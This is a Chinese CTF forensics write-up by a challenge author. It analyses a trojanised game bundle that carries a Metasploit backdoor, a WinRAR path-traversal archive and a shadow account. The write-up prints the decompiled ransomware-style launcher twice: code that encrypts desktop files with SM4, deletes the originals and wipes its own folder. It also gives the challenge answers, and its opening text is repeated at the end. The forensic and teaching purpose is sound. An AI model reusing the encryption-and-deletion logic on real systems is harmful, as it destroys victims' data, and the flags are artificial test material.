出题人碎碎念


致敬爱的ycb选手们:

出题人碎碎念

​ 很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……

​ 在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜

​ 最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)

题目信息

题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……

1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?

1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#

问题1 提权工具

题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

image-20251012164743166

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

image-20251012164846653

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

image-20251012165026201

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

image-20251012165154660

将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为

所以问题1的提权工具是Metasploit

image-20251012165350465

问题2 维权账户

攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可

1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"

导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

image-20251012170000997

问题3 CVE编号

攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

image-20251012170056294

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击

问题4 社交软件发送压缩包的时间

这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag

所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可

1 python vol.py -f ../memory windows.memmap --pid 424 --dump

image-20251012171812053

但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率

但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

image-20251012172002130

到这里就已经没有别的信息了,我们再看看附件的其他内容

回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

image-20251012172239336

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

image-20251012172301480

既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

image-20251012172540595

dump下来,看看属性就知道分辨率是多少了

image-20251012172521955

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

image-20251012172652040

问题5 恶意程序中的token

恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件

 1# Decompiled with PyLingual (https://pylingual.io)
 2# Internal filename: launch.py
 3# Bytecode version: 3.13.0rc3 (3571)
 4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
 5
 6import ctypes
 7import hashlib
 8import subprocess
 9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts  # 很奇怪
19import base64
20import os

image-20251012172830703

用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: Secr3ts.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6global _counter  # inserted
  7import time
  8import random
  9import hashlib
 10import base64
 11from functools import wraps
 12
 13def xor_bytes(data, key):
 14    return bytes([b ^ key for b in data])
 15CONFIG_VERSION = 'v3.1.9'
 16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
 17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
 18
 19class FakeCache:
 20    def __init__(self):
 21        self._store = {}
 22
 23    def set(self, k, v):
 24        key = hashlib.md5(str(k).encode()).hexdigest()
 25        self._store[key] = (v, time.time())
 26
 27    def get(self, k, default=None):
 28        key = hashlib.md5(str(k).encode()).hexdigest()
 29        v = self._store.get(key, (default, 0))[0]
 30        return v
 31
 32    def purge_old(self, age=60):
 33        now = time.time()
 34        keys = list(self._store.keys())
 35        for k in keys:
 36            if now - self._store[k][1] > age:
 37                pass  # postinserted
 38            else:  # inserted
 39                del self._store[k]
 40_cache = FakeCache()
 41
 42def verbose_marker(name):
 43    def deco(f):
 44        @wraps(f)
 45        def wrapped(*a, **kw):
 46            h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
 47            _cache.set('mark_' + name, h)
 48            return f(*a, **kw)
 49        return wrapped
 50    return deco
 51
 52def poly_noise(x):
 53    s = 0
 54    for i in range(1, 16):
 55        s += x ** i % (i + 7) * (i ^ 3)
 56    return s
 57
 58def weird_transform(s):
 59    a = s.encode('utf-8')
 60    b = base64.b64encode(a).decode()
 61    c = hashlib.sha1(b.encode()).hexdigest()
 62    return c[:12]
 63
 64class PhantomStateMachine:
 65    def __init__(self):
 66        self.s = 0
 67        self.history = []
 68
 69    def step(self, val):
 70        self.s = self.s * 31 + (val ^ 85) & 4294967295
 71        self.history.append(self.s)
 72        return self.s
 73
 74    def snapshot(self):
 75        return tuple(self.history[(-5):])
 76
 77    def reset(self):
 78        self.s = 0
 79        self.history.clear()
 80_phantom = PhantomStateMachine()
 81
 82def pretend_network_send(payload):
 83    time.sleep(0.001)
 84    return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
 85
 86def pretend_read_file(path):
 87    try:
 88        with open(path, 'rb') as f:
 89            data = f.read(32)
 90            return data
 91    except Exception:
 92        return b''
 93
 94def random_walk(seed, steps=100):
 95    r = seed
 96    for i in range(steps):
 97        r = r << 1 | r >> 3 ^ i * 158
 98        yield (r & 4294967295)
 99
100def meaningless_loop():
101    acc = 0
102    for v in random_walk(66, 20):
103        acc ^= v & 255
104        if acc & 1:
105            pass  # postinserted
106        else:  # inserted
107            acc = acc << 1 & 4294967295
108    return acc
109
110def try_many_things():
111    try:
112        _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113        return 'done'
114    except Exception:
115        for i in range(3):
116            continue
117        return 'done'
118    except:
119        return 'done'
120
121def fake_sorter(seq):
122    a = list(seq)
123    n = len(a)
124    for i in range(n):
125        for j in range(0, n - i - 1):
126            if a[j] ^ 170 > a[j + 1] ^ 170:
127                pass  # postinserted
128            else:  # inserted
129                a[j], a[j + 1] = (a[j + 1], a[j])
130    return a
131
132class Obfuscator:
133    def __init__(self, seed=4660):
134        self.seed = seed
135        self.table = [_ for _ in range(256)]
136        random.shuffle(self.table)
137
138    def mix(self, data):
139        return bytes([b ^ self.seed & 255 for b in data])
140
141    def heavy(self, data):
142        out = bytearray()
143        for i, b in enumerate(data):
144            out.append((b ^ self.table[i % 256]) & 255)
145        return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149    return (x * 7 ^ 5) & 255
150
151def f_b(x):
152    return (x + 13) % 256
153
154def f_c(x):
155    return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160    global _counter  # inserted
161    _counter += 1
162    if flag:
163        _cache.purge_old(age=1)
164        _phantom.step(_counter)
165        return _counter
166
167def G1f7():   # 有问题
168    what = '167307700b740d76'
169    xor_key = 66
170    orchestrator(flag=bool(len(what) % 2))
171    _cache.set('len_what', len(what))
172    token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173    token_clean = token_bytes
174    try:
175        token = token_clean.decode('utf-8')
176    _ = meaningless_loop()
177    pretend_network_send(token[:4])
178    print(token)
179    return token
180    except Exception:
181        token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184    res = []
185    for i in range(50):
186        a = f_a(i)
187        b = f_b(i)
188        c = f_c(i)
189        res.append((a, b, c))
190        _phantom.step(i) if i % 7 == 3 else i
191        if i % 11 == 0:
192            pass  # postinserted
193        else:  # inserted
194            _cache.set('checkpoint_' + str(i), (a, b, c))
195    flat = [x for t in res for x in t]
196    s = sum(flat) & 65535
197    return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200    if level <= 0:
201        pass  # postinserted
202    return 0
203
204class RedHerring:
205    def __init__(self):
206        self.a = meaningless_loop()
207        self.b = long_useless_procedure()
208
209    def run(self):
210        for i in range(10):
211            _cache.set('rh' + str(i), (self.a, self.b, i))
212            _ = nested_confusion(i % 4)
213        return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219    out = []
220    for i in range(n):
221        cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222        out.append(cs)
223    return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226    print('CONFIG', CONFIG_VERSION)
227    print('SYSID', _SYSTEM_ID[:12])
228    print('CACHE_SAMP', _cache.get('len_what'))
229    _h1.run()
230    _h2.run()
231    _ = long_useless_procedure()

简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4

问题6 绝密文件的重要密钥

接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作

可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表

分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)

而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)

用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

image-20251008002908938

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

image-20251008003012997

最后是base64的字母表,在解包后的目录中可以找到ab.exe

image-20251008003102800

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

image-20251008003145942

直接拿010爆搜即可,就能找到完整的自定义字母表了

image-20251008003331271

最后自己写个脚本解密即可

 1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
 2import base64
 3
 4key = 'e1287afc7a0526ea7f55774192fd8c5a'
 5key = bytes.fromhex(key)
 6print(key.hex())
 7iv = b'47284e7609e7017d'
 8
 9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64   = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19    trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20    std = data.translate(trans_table)
21    return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25    with open(infile, 'rb') as f:
26        data = custom_b64decode(f.read())
27    sm4 = CryptSM4()
28    sm4.set_key(key, SM4_DECRYPT)
29    dec = sm4.crypt_cbc(iv, data)
30    dec = dec.rstrip(b'\x00')
31    with open(outfile, 'wb') as f:
32        f.write(dec)
33    print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')

恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#

image-20251012173450307 致敬爱的ycb选手们:

出题人碎碎念

​ 很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……

​ 在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜

​ 最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)

题目信息

题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……

1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?

1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#

问题1 提权工具

题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

image-20251012164743166

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

image-20251012164846653

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

image-20251012165026201

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

image-20251012165154660

